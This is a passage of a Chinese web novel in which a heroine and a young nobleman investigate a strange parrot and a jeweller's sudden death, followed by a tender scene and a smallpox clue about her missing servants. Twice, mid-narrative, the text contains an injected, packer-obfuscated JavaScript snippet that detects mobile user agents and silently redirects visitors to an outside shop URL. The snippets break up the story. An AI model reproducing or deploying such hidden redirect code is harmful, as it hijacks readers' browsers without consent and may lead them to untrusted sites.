因为纵然21世纪人人平等,生活中,我都免不了被人压榨打压。到了这封建王朝,难道还要欺负同胞,为虎作伥吗?别人家我鞭长莫及,自己跟前还不能纠正一二了?下一步,我还要努力让她们改掉“小姐”一称,愿和我同桌吃饭呢。 当然,我这举动,也不止二公子稀奇。光老爹处,我都费了多少口水,结果郡主一次来访,二人一合计,倒齐齐编排起我的离经叛道来。即便如此,郡主也打定了主意,不肯收回她们。我干脆舔着脸讨要卖身契,她却看出了我的意图,坚决不肯给,说怎么着也得侍奉到我出嫁。 料想和二公子一样是解释不通,我索性也懒得多说,心里琢磨着,还是得想想旁的办法。 见我冷脸不语,二公子撇撇嘴,嘟囔了一句:“真是古怪,小时候也不这样啊。” 这时,许是见氛围有些尴尬,机敏的垂柳忙叹口气,又将话题拉了回来:“二公子你瞧,小姐眼下都有乌青了。睡眠本就不好,昨晚更是一夜无眠呢。” 二公子一听就慌了:“羽书妹妹,我错了,我错了,我哪知道这玩意会那些词呢?我买它的时候,它真的说的都是吉祥话呀。” 又画负责采买,闻言忍不住问:“二少爷,您是在哪一家买的?花鸟市场不少贩子奴……”她怯怯瞥我一眼,忙改口,“我都认识,去找店家说道说道。” 二公子也瞧着我,没再追究,只摇摇头:“不,不是花鸟市场,我是在茶庄买的。” “茶庄?茶庄还有卖鹦鹉的?” “不是啦!那天不是和慕卿喝茶吗?下楼时正碰见个男子肩头站着它,雪白漂亮还说着吉祥话。羽书妹妹小时候最喜欢鹦鹉了!最近心情又不好,逛街也不肯去,我就想着刚好买来,逗她开心准没错呀。” 拉倒吧,我可开心不起来。 二公子扁扁嘴:“我也是好心嘛。我花了五十两呢!” “五十两!”垂柳震惊,扭脸瞪向鹦鹉。 “那可不!它这么好看又机灵,我生怕人家不卖,开价就高。”二公子搓搓手,又道,“不过说起来,那主人倒是没抬价,很痛快就答应了。” 垂柳悄声评论:“这种吓人的鸟,还不是越快出手越好呀。” 二公子又露出些怀疑:“真的吗?它真的会说那么多吓人的词吗?可我看它明明很乖巧,很优雅的呀,是不是呀,小鹦鹉!” 对着眼前人带着笑的逗弄,始作俑者径直给他上了一课。 “郎君啊,你回来了!” 在场所有人都打了个冷战,包括无精打采,再次神游太空的我。二公子更是大叫一声,立定跳远成就解锁三米。 “天哪!这什么鬼东西!”半盏茶后,二公子还抚摸着胸膛,一双瑞风眼吓得瞪圆,“太吓人了太吓人了!它怎么说的和女声一模一样啊!” 要不叫鹦鹉学舌呢? “这可不行,这玩意留着简直害人!赶紧的,赶紧的,扔了去!” 垂云冷静回复:“可是它会飞,夜里再飞回来……或者飞去任何人家,都很吓人啊!” 鹦鹉歪歪脑袋,和我对视着。我也说不出口将它人道毁灭的话。 还是垂柳一拍脑门:“还给那卖家吧!既然他教会这鹦鹉说那些邪门话,总有办法管住它的!” 二公子一听,立时起身:“嘿,说得对啊!我得找他算账,这卖的什么狗屁玩意,好意思收我五十两?走走,羽书妹妹,咱们去找他要赔偿!” 我正宕机,完全没反应。 二公子“嘶”了一声,直接上来扯我的胳膊。我被他拉的向前扑去,险些撞他怀里。 “干什么啊!”我有些恼。 二公子倒理直气壮:“羽书妹妹!你都多少天没出门了,窝在家里迟早闷出病来!走,陪我去找他算账,就当出去透气了!” “不去,我不去……喂,你不要揪我袖子,破了,破了!” *** 买卖的茶庄临近北门,午后没什么生意,我们到的时候,客人只有一桌。二公子打眼一瞧,就说没见那卖家。 小二拎着茶牌迎上前来,看清来人,笑道:“呦,公子您又来了!” 二公子可没好气:“三天前卖我鹦鹉那个人,今天来了吗?” “那没见着呢。” “你可认识那个卖家?” “啊?怎么的?您找他有事?” “对,快说,认不认识?姓甚名谁,住哪里?” 小二搔搔头,赔笑道:“这小的还真不认识,是位陌生的客官,从没来咱家喝过茶。” “记这么准?”二公子狐疑。 “嘿嘿,”小二咧嘴,“小的就干这招呼人的营生,自然门儿清。” 我看小二所言不假,便懒懒道:“算了,走吧,找不到那人就把鹦鹉放生得了。” 小二看看我,又看看鹦鹉,奇道:“放生?这鹦鹉,公子您不是很喜欢吗?” 二公子也懒得解释,抬脚欲走。 恰在此时,唯一一桌食客站起来,指着鹦鹉说道:“这、这不是老朱的鹦鹉吗?” 谁?老朱? 食客是个肚子浑圆、穿着富贵,戴着个金丝圆帽的胖子,他双手撑着桌子,眼睛在二公子脸上肆意打量:“你是什么人?怎么拎着老朱的鹦鹉,这可是他的宝贝儿,从不离身的。” “我买的。”二公子朝胖子走去,“五十两买的。” 胖子咪咪小眼一瞪:“五十两?五十两他就卖了?” 五十两还不多?寻常鹦鹉才多钱啊。 “老朱是谁?他人呢?你可知他住哪?”二公子顺势将笼子搁在胖子的茶桌上。 胖子却松开撑在桌上的手,退后几步,口中喃喃:“别碰到我,别碰到我!” 二公子诧异:“你干什么?我问你话呢,老朱是谁?” 胖子绕到椅子后面,斜眼觑二公子:“开文米铺掌柜,朱承林。我说这位公子,你这鹦鹉真是买的?” 浓郁的质疑口吻,让二公子不爽了:“嘿,你这话说的。我不是买的,还能怎么来的?” 小二也听见了对话,忙凑来打岔:“开文米铺,最近开分店有赠礼的那个开文米铺?” 胖子嘴巴吧唧两声:“是呀 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胖子又打量起来,还是一副“你能奈我何”的表情。我眼瞅二人剑拔弩张,忙上前打圆场:“大哥大哥,我们只是好奇,好奇。这个,你看,我们钱也花了,这鸟要是真有什么大本事,我们也要回家供供,谁不想发财呢,对吧?” 胖子却冷哼一声:“那你们恐怕没这气运。” 我伸手拦下又要发火的二公子,追问道:“这话什么意思啊?我们买了它,就是它的主人了呀,来财也轮到我们了呀。” “买了它?它岂是区区金银能买到的?” 不凭金银,它怎么到二公子手中的? 眼看这个胖子不是个好说话的主儿,不套路一下,怕是不肯如实告知了。 我转转眼珠子,索性叹口气:“哎,行吧。反正它昨晚叫着找不到主人,就要把见过它的凡人都带到地府去分辨分辨,到底谁才是它的下一任主人。我还纳闷这话什么意思呢,原来是谛听投生啊,善听人心,可辨万物。就是不知道阴间走一遭,还能不能还阳?” 我一番扯犊子的话说完,在场的人全愣了。 小二:“见、见过它?见过它就得……” 胖子:“天、天哪,这鸟,这鸟果真……” 二公子:“羽、羽书妹妹,你、你、你说的是真的?” 废话么,肯定是假的。但我此刻装腔作势、胆战心惊的模样,哄得二公子都打起哆嗦来。 我看胖子也深信不疑,趁势追击:“所以得赶紧找到它的主人啊!你不是认识老朱吗?他人呢?在家吗?你说阴宅又是怎么回事,咱们活着的人能不能进去?得赶紧把鸟还给他,以免咱们遭殃呀,你说是不是?” 胖子紧张的猛搓手:“老朱、老朱三天没来铺子了啊……天哪,他、他不会是……” “三天?三天前不就是他卖你鹦鹉的时候吗?”我扭头问二公子,后者正不安的左瞧右看。 怎么搞的,圣贤书读狗肚子里了,我这明显胡扯,听不出来吗? 我用手臂撞二公子,给他使了好几个眼色,二公子好似才察觉到。 “啊,啊,那个,哦,对哦,三天前……是的啊。” 可胖子吓得不轻,伸出手指放在口里咬着:“不对啊,那矮子应该在窑姐处啊,不睡个天昏地暗他能起来?还带着鹦鹉出来……” 二公子眉毛一挑,打断道:“谁?矮子?” 胖子一愣:“老朱啊,咋了?” “矮什么矮啊,卖我的人消瘦个高,跟个麻秆似的,哪里矮了?”说罢,二公子转向小二,等他证词。 但小二不知道在想什么,低着头没有答话。 我却听明白了,皱眉道:“嗨,那会不会搞错了?这根本不是那老朱的鹦鹉。这都不是一个人呀。” 60.地府KPI 可胖子一口咬定自己没看错,还指着鹦鹉的爪子:“你们看,这黑色的印,就是去年它撞树留下的伤疤!老朱拿来铺子,当着我的面上的药。没跑!” 我和二公子凑近瞧瞧,仍不敢确定,迟疑地说:“可能也是巧合吧。” 胖子却笃定:“这鹦鹉白天会叫‘吉祥’,夜里会学女子声音,对着老朱柔情似水。你们就是因为这,才不想要它的,对不对?” 这话一出,我和二公子都惊了。 也不知那鹦鹉是不是听懂我们的话,此刻竟真的开口叫了两声“吉祥”。二公子立刻指给我看,大声表达委屈:“呐,呐,我说的吧!我买的时候,它就叫的‘吉祥’!” 好吧。但是白天晚上叫的词竟然不一样,这鹦鹉怎么这么邪门? 胖子又嫌弃又畏惧的瞥一眼正昂首傲立的鹦鹉,解释道:“哦,学那些词……嗨,老朱家婆娘多,整天争宠,这鹦鹉就学会了娘们勾搭老朱的话呗。” 我想想昨天听到的女声,若摒弃夜晚阴森背景,那一声声呼唤,的确柔情似水。 好家伙,鹦鹉学舌学这玩意啊?忒惊世骇俗了吧。而且,它还会叫“有鬼”“鬼啊”?这也是老朱教的? 胖子战术性后退,离鹦鹉更远了些:“所以我才说,这鹦鹉通阴阳的呀!那阴宅常有鬼火鬼影,都是这鹦鹉召唤来的!” 我和二公子面面相觑,后者喉结滚动,不安地问:“那个,你刚说阴宅有鬼,那姓朱的为什么不搬家?” 胖子刚张口,一直没说话的小二忽然抬起头来,脸色苍白,悚然可怖的怪叫一声:“天哪,是它,那就是它!是它害死了钱掌柜!” 这没来由的话把我们仨都吓了一跳。 胖子本就畏于鹦鹉,二公子也心神不定,俩人刚还针锋相对呢,这下倒是差点抱一起。 我瞥一眼不争气的男人,只能壮胆上前询问:“小哥,你这话什么意思,钱掌柜又是谁?” 小二惊恐大叫:“那个男人!卖鹦鹉那个男人!就是和钱掌柜一起喝的茶!钱掌柜当晚回去就死了……天爷啊,原来是这鹦鹉害的!天爷啊,小姐,小姐,那我也见过了,我也见过了,下一个,下一个死的、死的会不会、会不会是我?” 小二情绪崩溃,揪着我的袖子不放,指着斜对过的巷子,连番大叫起来。 我登时就后悔自己的瞎扯,深感唯物主义教育任重而道远。 可是,当我看清巷子里阴云下飘起的白幡时,还是忍不住泛起嘀咕。 怎么回事,真的有人死了? “诶诶,你干什么去!”二公子惊叫一声,抓住了我另一只袖子,阻挡我的步伐。 “我去瞧瞧怎么回事。” “你不害怕啊!” 我只好坦白:“哎呀,我瞎编的!哪有什么看一眼就带地府的离谱事儿!” 地府KPI也不是这么个提高法啊! 但小二还是很惊恐:“可钱掌柜当晚就死了,就死了!那要怎么解释!” 我稳住心神,按住小二的肩膀,尽力安抚:“你别紧张,别紧张!只是巧合,巧合!我问你,钱掌柜是不是有什么隐症,或者一直身体有恙?” “没有,没有!”小二拼命摇头,“钱掌柜身子骨强壮的很!郎中来瞧都摸不着头脑,根本找不到死因!” “那就没什么伤口?死状如何?” 小二语无伦次:“皮肤、皮肤溃烂,肌肉、肉僵硬,死前还瞪着双眼……天爷啊!” 二公子却一拍大腿:“哦!伤口!我想起来了,我注意到卖鹦鹉那麻秆,对面坐着的人一直在抠手上的火疖子!” 难道是伤口感染?可是死状也不对啊。 “诶诶,你又干什么去!” “我不是说了吗?去问问情况啊!” “羽书妹妹!别去!万一……” 我烦了,没好气道:“哎呀!你不想知道怎么回事吗?按照现在说的,他又不是卖鹦鹉的,又不是姓朱的,只是喝个茶,怎么就死了?” 胖子咬着手指,在一旁瑟缩:“这鸟,这鸟真的会勾人的魂魄!” 我很无奈,只能换种说辞:“那才要去问清楚啊,万一他是干了什么亏心事,得罪了这鸟,哦不,得罪了谛听呢?咱们去请教一二,才能避开危险啊!” 小二一听,跳的老高:“对对,有道理,走走,我带你们去!” 二公子和胖子对视一眼,挽着胳膊就追了上去。哥仨风风火火的,反而把我丢到了最后。 我正无语,也往外走时,忽然,鹦鹉又开口了。 “藏起来,藏起来!” 较先前都不同,它竟然发出了一种暗哑、堵着嗓子眼的男声。 饶是教育旁人掷地有声,这一刻,我还是滴下汗来。 神神鬼鬼或许都是妄谈,但这鹦鹉,是真不对劲! *** 挂着白幡的是钱氏珠宝铺。夫人身披丧衣,正在棺前哀哀哭泣。茶庄小二还算理性,没暴露来意,只道我等俱是珠宝铺的客人。 夫人擦了擦腮边泪珠,憔悴的起不来身。“谢谢,谢谢各位客官,还肯来送他、送他一程。” 我上前扶起她,劝慰道:“夫人还请节哀,保重自身。这铺子还需要夫人撑着,可不能倒下啊。” “撑着,撑着,我一个妇道人家,如何撑着?”夫人眼泪又落了下来,“他为了买这东西,把、把家里的余钱都花完了。铺子本来生意就不好,都要发不出工钱了。” 一旁站着个小厮,也是表情沉重:“小的就劝掌柜别收别收,这东西看着就邪门,又那么贵……谁想到,收了当晚,掌柜他就、他就……” 这说什么呢?收什么东西? 茶庄小二却好像听懂了,倒退两步,脸又白了:“天爷啊,你说的就是六日午间,钱掌柜在我们茶庄谈的那生意?” 小厮指向灵位旁放着的木盒:“可不就是嘛!花重金买个瘟神回来!” 我听的糊里糊涂,探头一瞧,却直接惊呆。 木盒中放着一套首饰。以红玉打造的头面,金丝勾勒盘在四周,衬得红玉光彩四射,并以各色珠宝镶嵌,最下方还有小珍珠串联的流苏,华丽炫彩。头面旁还有配套的红玉簪子和耳环、手镯。 这一套首饰简直是列入国家博物馆的级别,我口水都下来了。 二公子和胖子也走上前瞧,齐齐发出“哇”的叫声,后者更是忍不住,伸手摸了摸。 我盯着头面,脑子却很乱:“等一下,这个月六日?那不就是三日前吗?” “是啊,就是那个卖鹦鹉的麻秆,卖给钱掌柜的!” 我一听就懵了:“啊?他和钱掌柜谈的是卖首饰的生意?那他为什么会有朱承林的鹦鹉,还顺手卖给二公子?” 茶庄小二答不上来。珠宝铺的小厮也很茫然,皱眉道:“什么鹦鹉?我家掌柜就是收到来信,说有上好首饰请去茶庄一叙,回来就翻箱倒柜凑钱。买了之后就跟着了魔一样,不停的摸啊擦啊,嘴里还振振有词。” “多少钱买的?”胖子偏离了主题,咬着手指,直勾勾盯着它。 小厮许是发现了商机,忙上前抱起木盒,咬咬牙开价:“三、三千两!” “三千两!”小二跳脚,“一个首饰卖三千两!疯了吧!” 小厮急了:“我们掌柜说了,这可是前朝的宝贝,大有来头!客官要是买下,只赚不亏!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581993|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我眯了眯眼,忍不住问:“额,小哥,好像你刚才还在说,它是瘟神诶!” 小厮语塞,恼火的白我一眼。 这时,夫人也抽泣着埋怨:“瘟神,怎么不是瘟神?老钱一向喜欢捣鼓这些宝贝,买就买吧,但怎么就一眼不离,茶饭不思呢?死的时候,死的时候还抱着它……呜呜呜……” 这话说的我也有点后背发麻了。 小厮跺跺脚:“可不是么,这成色,看着就诡异!小的劝掌柜别瞧了,该歇着了。掌柜却说美人当前怎能舍下!” “美人?”我方了,这是一种比喻,还是…… “啊!”小二惊恐,再次后退,直接贴到柱子上了,“我听说过!女鬼会附身在她生前的首饰上,谁敢夺走,她就索命!” 一语出,屋内诸人更觉后背发凉。 但不管心绪怎么波动,我还是相信科学。于是深吸口气,转了转僵硬的脖子,尽量平静的说:“好了好了,别说这吓人的话了。那个,卖首饰给你们的人,认识吗?是不是老主顾?” 小厮踱着步子远离那木盒,一边念叨着“晦气”。“不认识啊!第一次来,自称姓雷,说是在京城与西域之间贩卖首饰、摆件的,听着像是外地口音。” “老钱还想着,”夫人哭着补充,“想着如有类似的宝贝,砸锅卖铁还要收呢!那人还应了,说或许还能搞到一副,可以卖给老钱。我劝他莫要再下本了,太贵了,他却说好卖,达官贵人都会喜欢!这下好了,这下好了,首饰还没卖出,他却……” 我又扭头问胖子:“你说那朱承林,有干这营生的朋友吗?” 胖子还死死盯着木盒,手指都咬出红印了。 二公子侧着脸不看它,上前拽过胖子:“喂,你失了魂了!” 胖子这才惊醒,旋即也恐慌大叫:“天哪,天哪!这首饰绝对有问题!它、它就像个美人,吸人精血啊!” …… 这什么虎狼之词。 我只好再问:“嘿,大哥!问你话呢,老朱,有做首饰买卖的朋友吗?” 胖子鼻子发出嗤声:“切,他那抠屁,从没给家里妻妾买过一根发簪,哪能有做这营生的朋友?” “他很小气?你不是说他极有财运吗?” “他说财是偏门来,才要以偏留,寻常花费不能用偏财!”胖子神叨叨的左右看看,“我说,这一切都太邪门了,八成啊,还是那个死鸟引起的!” 二公子在一旁默默点头。 此刻窗外正是阴云密布,不得不说,这氛围真的适合拍恐怖片。只是女鬼附体、美人□□,未免太离谱了吧? 但身体好端端的钱掌柜,到底为什么突然死了?还有这个鹦鹉……诶,鹦鹉哪去了? 我定睛一看,好家伙,光顾着来打听,竟然没人拎着鹦鹉! 我扭头就往回跑,余光扫到红玉头面,它正柔柔的、静静的躺在那里,散发着一许淡淡莹莹的红光,就像一位半遮面的少女,正哀怨望来。 小厮恼于我们不买,一把关上了木盒,严丝合缝浑然一体,摄人感登时消失。 我打了个冷战。 但更邪门的是,明明关在笼子里的鹦鹉,待我们奔回去,竟然不翼而飞了。 “不可能!我锁上笼子了的!”二公子骇然大叫。 茶庄内也没旁的客人,难道…… “报官,报官!得让官府来主持这事,得做法事,得驱邪!”胖子惊恐不已。 但二公子又连连摇头:“不行不行,不能报官!” 我不懂了:“为什么不行?” 二公子咽口口水,朝我凑过去压低声音:“我哥哪有时间啊!他都累病了!” 61.万物皆生意 “病、病了?”我心头猛地一滞。 “对呀,抄《通法经》抄的呀。” “啊?为什么?” “你不知道吗?”二公子讶然,“圣上罚的呀!三百遍呢!” “圣上罚的?”我直觉这事八成与我有关。 果然,二公子说道:“还不是晴瑟楼那案件嘛。他一早提交的卷宗是错的,又推翻结论指正了圣上钦点的状元!虽说证据齐全,却动机不明,圣上看完就发火了。偏偏那周达尹还不明不白死了,连我父王都被叫进宫斥责了呢。” 话音入耳,我脑袋一炸,整个人都不好了。 天哪,谨慎如谢宁轩,如此快盖棺定论,就是因为我告诉他没错,可以结案了。可我之后私下调查,却丝毫没有向他透露。 周达尹,周达尹的死也是因为我…… “土匪大批进了京城,圣上也罚了宋璃哥,责令羽林军三个月内整顿京城防务,森严门禁,还要求我哥全力配合。哎,本来这个月就是一年一度的查市月,我哥作为府丞已经忙的脚不沾地了,现在又被罚俸罚抄,还得彻查京城可疑人员,加强京城治安,如有出现任何骚乱,再行追究!我哥能不病吗?所以啊,这个时候,还是别给他找麻烦了!” 胖子没听到这些,还在嚷嚷要报官。小二跪在地上虔诚的拜起佛来。 可我已经没了心思。 什么鹦鹉什么女鬼,都被我踢出了脑海。眼前,只余下谢宁轩失望的眉眼。 二公子却不肯放过我,回家的路上一直碎碎念着,到了南咏街也拉着我不让我下车。我浑浑噩噩任他摆布,等清醒时,才发现竟然到了齐王府。 二公子被吓惨了,点亮了屋里每只蜡烛,却还难耐的狂咽口水。 怎么到这来了!我立时起身就要走,好怕在王府遇见他。 我不敢面对,我不敢…… 可二公子不答应:“哎呀,不行,不行!羽书妹妹,今晚你就住在王府吧!” “我又不害怕,你松手,松手!袖子!” “不行,不行,那可是女鬼啊,索命的女鬼!” 我使劲扯我的袖子,一面不耐烦道:“索命又不会索你我的!有仇报仇有怨报怨,没做亏心事,怕什么女鬼敲门啊!” “那也不行!”二公子被我撸下一只手,另一只手又扯了上来,“女鬼缠人不问缘由的啊,怨念,怨灵,懂吗!她不找替死鬼,她怎么超生啊。” 我真的要暴走了。 深吸口气,我强压下焦躁,顺毛捋:“行行行,缠人,缠人,然后呢?” “然后,然后……”二公子面露骇然,说不下去。 “然后就死了。”我替他补充,但重点在下一句,“那你不也就成鬼了吗?你还怕什么?你俩都是鬼,她一女的,还打不过你!怕什么呀!” 二公子懵了:“这、这……是这样的吗?” “对呀!”我继续给他灌输,“所以你应该干嘛?强身健体,加强锻炼,对不对?等女鬼来了,你上前就给她一拳,打的她找不着北,她知道你不好惹,到了阴间也打不过你,不就不缠你了吗?” “可是,可是……”二公子还有疑问,“她有法术诶!千年女鬼!” 我无语扶额,摇了摇头。“你成鬼了,你不也有法术了吗?哦,她千年,听起来法术好像很高,但你细想,千年都没找对害自己的人,都没成功超生,这说明啥?法术不咋地!对不对?” “啊?” “换句话说,就算她把你魂勾了,你成了替死鬼,然后呢?她超生去了,你成鬼了,那这不是就换了敌我身份了吗?你上啊,你再缠她,把她再勾下来呗!” “啊?” 我拍拍大张着嘴的二公子肩膀,沉声道:“听懂了吗小伙子,女鬼不可怕,谁弱谁才怕。听姐姐的,一会儿晚饭多吃两碗,再去跑个八百米。长高高,长壮壮,你就什么也不怕了。” 二公子跟个傻子一样盯我五秒,终于反应过来,一把掀掉我的手,不悦道:“姐姐个屁!你压根就在胡说!和话本里讲的都不一样!” 我的耐心真的只剩最后一格了。 “你是不是傻?话本不那样讲还有人会怕神神鬼鬼吗?人人都知道这个道理,那超度的和尚、降妖的道士、做法的术士靠什么吃饭啊?生意,万物皆生意,懂不懂!” 二公子不服气的撅起嘴,门外却传来掌声。 “羽书这番见解当真独特。” 我心里一咯噔,是谢宁轩来了。 *** 二公子蹭的站起来,冲去开门:“哥,哥!你这会儿怎么回来了!” 谢宁轩走进来,却没有看向弟弟。 四目相对中,鼻子酸涩。 谢宁轩的面上是深深的倦色,眼下乌青,嘴唇干裂。一向戴的端方的官帽拿在手上,头发掉落一缕,顺着耳朵软软搭在脸旁。绯色官服折起了几道压痕,在烛光下显得陈旧灰暗。 我不敢看他凿凿目光,退缩着,闪躲着。 “哥,哥,今天太吓人了!你帮我琢磨琢磨,这怎么回事啊?” 谢宁轩看向弟弟,眉头皱了起来:“发生了什么?” 二公子语速飞快地讲述,听到鹦鹉害死人后,谢宁轩亦感无语。他朝我看过来:“羽书明显是随口瞎说,想吓唬那个胖子,结果倒好,把你唬住了?” “可钱掌柜真的当晚就死了!” 谢宁轩好笑的摇头:“看一眼就死,这若是真的,那雷姓男子带着鹦鹉走到茶馆这一路,得死多少人?” “这,这……”二公子不服气,“说不定真有死了的,你不知道罢了!” “我是京城府丞,若有大批不明死亡事件发生,我怎么会不知道?” “你最近这么忙,说不定忽略了么。”二公子小声顶嘴。 但他哥还是听见了,表情严肃起来:“你怎么回事?世间恶心恶行太多,每每推到神鬼之说,是谓无耻;心中有愧才会惶惶不可终日,将祸事好事交给神鬼评判,是谓无稽。子不语怪力乱神,你连孔夫子的教诲都忘记了?宁辕,你这样子,能考好科举吗?” 眼前的人更顺眼了一些,这番话说的真漂亮。 二公子被哥哥批评,蔫蔫的坐下,抱臂撅嘴,还跟个小孩子一样。 “好了,你赶紧去吃晚饭吧,之后就回书院,不是过几天就年考了吗?” “书院放假了嘛,”二公子扁扁嘴,“年考前给我们时间温习。” “那就赶紧吃了饭回来温书,别耽误时间想乱七八糟的。” 二公子也没回话,只朝我抬抬下巴,挤眉弄眼。 我没搭理他,果然,谢宁轩语气平静道:“她留下,我还有话和她说。” “说什么话?不能当着我的面说吗?羽书妹妹也要吃饭的!” “谢宁辕,不要让我再说一遍。”谢宁轩加重了语气,警告意味明显。 血脉压制, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592150|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加之哥哥太过于优秀,向来听话的二公子马上缩缩脑袋,起身挪步子:“好了好了,知道了,知道了,这就去,这就去嘛。那你们也赶紧说,我、我那个……羽书妹妹,吃了饭再走哦,我让厨子给你加菜,做你喜欢的猪蹄!” 絮絮叨叨,一步三回头,等他关门走出去,我脖子都僵硬了。 沉默数秒,谢宁轩轻声道:“羽书,好久不见。” 明明隔着一张桌子,为什么我觉得温度陡升? “好、好久不见。那个,你、你还……” “诶不对啊!”门又被推开了,二公子咋咋呼呼的声音再次响起,“这是我的房间!为什么你们俩留下,我走了!” “谢宁辕!” “好好好,我走我走!那个,少说点话!羽书妹妹都饿了!我让多加几个菜,不止猪蹄,再做个肘子好不……” “砰!”门被大力关上。 “哎呦!”门外的人嚎了一嗓子后,总算归于平静。 这次,谢宁轩没再开口,他就站在门边,静静的瞧着我。 心中的猫快要把我挠的流血了,我终是忍不住打破沉默:“你、你还好吗?” 谢宁轩将官帽放在桌上,朝我走了过来:“怎么这么问?” “我、我听说你受到圣上责罚了。” “查案不力,门户不严。山贼马匪觊觎,治安管理出错。这些都是我应有的惩处,不碍的。”他的声音很温和。 他越是轻描淡写,我越是心口发闷。 这些天一直盘旋在嘴边的道歉,我终是说了出来:“对不起。晴瑟楼案,是我做错了,我自作主张、自以为是,害的周达尹……也连累了你。” “无关对错,只是选择而已。”谢宁轩走到了我身前,我能感受到他的目光燃在我头顶,可我却没有勇气抬头。 直到一阵咳嗽声。是谢宁轩控制不住,捂嘴轻咳,眉头也皱了起来。 心瞬间被揉成一团,我再也忍不住,泪眼婆娑地抬眼看他。 谢宁轩眼神越发柔软,散发着幽然微光。他止了咳嗽,弯腰轻拭我的泪。纤长手指轻微的触碰,我才发觉,一向温暖的大手,今天都冰冷着。 胳膊一动,我差点就毫无自制的扑向他,或者冲动的握住他的手,给他温度与力量了。 谢宁轩不知我内心纠葛,只温柔地说:“羽书,你不必自责,近来我很忙,没有去看你,并不是生你的气。” 不是吗? “其实,不管是我的处罚,还是周达尹的自尽,都和你没有关系。周达尹选择自尽,于他,于周家,或许也是一种解脱。” “解脱?” “如此要案,周达尹会面临什么结局?昔日状元当众斩首,对他来说,恐怕比死亡本身,更残忍。” “可是……” “羽书,人生在世,都是选择而已。跳湖是周达尹的选择,就如他做这起案子,亦是他的选择。你的出现只是插曲,无法改变任何,你明白吗?” 我明白,我自然是明白的。可愧疚,还是无法轻易抛诸脑后。 “你当日……也是选择。我、我那天语气,也有些重了。”谢宁轩又贴近了些许,近到我能感受到他清清浅浅的呼吸,“我只是有些难过,难过你不曾相信我……” “不是,我不是不相信你……” 手忽然被握住,眼前的人定定的看着我:“羽书,以后你能不能别再冒险?能不能,能不能选择我?” 62.天花 心口猛地一跳,我讶然地望着他,如水般涓涓的眼眸中,分明有潮汹涌。说话间,他的嘴唇也润了些,似是染了一层磨砂糖精,让我想起了诱人的红丝绒蛋糕。 距离越来越近,呼吸交错,心跳重叠…… 然恰在此时,外面有声音骤然响起。 我像一只偷吃的老鼠被抓到,登时闪躲着移开了目光。手也不自觉缩回,温度乍然消失。 片刻后,是谢宁轩再次轻咳起来。他得体地后退了一步,语气依旧很温和:“哦,我的意思是,希望你以后能够选择相信我,毕竟,我就是干这个的。” “哦,是,当然了。”我压下翻滚的心绪,努力把失望降到最低。 失望,心中此刻弥漫的,是失望,对不对?他平缓的语气中,散发出丝丝缕缕的气息,也是失望,对吗? 又是一阵安静。我徘徊着,自己猜对了没有。该不该抬头,该不该勇敢迈出这一步。 犹犹豫豫间,还是谢宁轩先打开话匣子,他换了话题,突兀,却能很好的化解此间的氤氲。 “羽书,我有个好消息要告诉你,三殿下今日已取得恩典,不日赐婚就会下来了。” “赐婚?”我深感惊喜,“天哪,这真是个好消息!” 谢宁轩轻柔一笑,眼光似又深沉了些。他捕捉着我的视线,却没有继续深问,转而说起另一件事。 “还有一个消息,不知道于你而言,算不算好消息?” “嗯,还有什么?”脑中百转千回,思绪飘着,还未落地。 “是橙橙的事,我查到一条线索。” “橙橙?”思绪瞬间被扯回,心口一顿。但我还是马上察觉到一丝不对,“等一下,你查到?” 金华没有再寄来回信,谢宁轩怎么会有线索?好似含了跳跳糖,心口有雀跃感,“你、你一直在派人调查?” “嗯,”谢宁轩微微露出梨涡,“有疑惑在心口,总要一追到底,羽书与我在这一点很相似,不是吗?” 只是因为对谜团的好奇吗? 许是我垂下的眼帘太明显,谢宁轩又补充了一句,声音很轻,却蕴含着无比的力量感。 “当然,也不只是为了查案。我也希望你安全。” 我再次忍不住抬眼看他,他亦注视着我。安静的氛围中,蜡油滑落的声音,都能磨砂着我的心。 心跳超速,就要被拦下处罚了。我赧然不已,终是难为情的避开了眼神,勉强自己回归正事。 “嗯,那个,你查到什么了?” 余光中,谢宁轩清清浅浅的笑,梨涡旋出诱人的深度。 他再次拉住了我的手,先安慰了句:“羽书,别怕。我不会让你有危险的,不管是远在金华的威胁,还是京城的阴谋,有我在,你放心。” 心口似被柔柔抚住,我浅浅点了头,才听到他徐徐讲了起来。 “我派人追查到,在落脚东橘村之前半个月,你们曾住过一间驿站,叫做十里驿。驿卒认出了你的画像,对你印象还很深刻,当时,你的丫鬟小厮一个不少。” “然后呢,什么时候开始少人的?” “就在两天后,再宿到客栈的时候,仅剩你与橙橙。” 心中旖旎情绪瞬间退却。 “两天?原……我的七个下人就不见了?那、那这两天,到底发生了什么?” 谢宁轩的表情也变得肃穆,我不由萌生出不祥的预感。 “这两天,没有找到目击者。但按照路程追溯,你们大约是经过了一个村庄,”谢宁轩顿了一下,“一个爆发了天花的村庄。” “天花?”我惊了。 “对,但你们到的时候,已经封村了。” 我的鸡皮疙瘩冒了出来:“你的意思不会是……” “现在这个苗姜村还在封锁中,无法靠近。官府日志记载,就在你们路过的时间段内,曾有外人亦出现天花症状,也被抓到了村中一并治疗。” “你、你说的外人,不会就是……” 谢宁轩没有回答,但答案不言而喻。 如此巧合,只可能是原主的那几个下人。 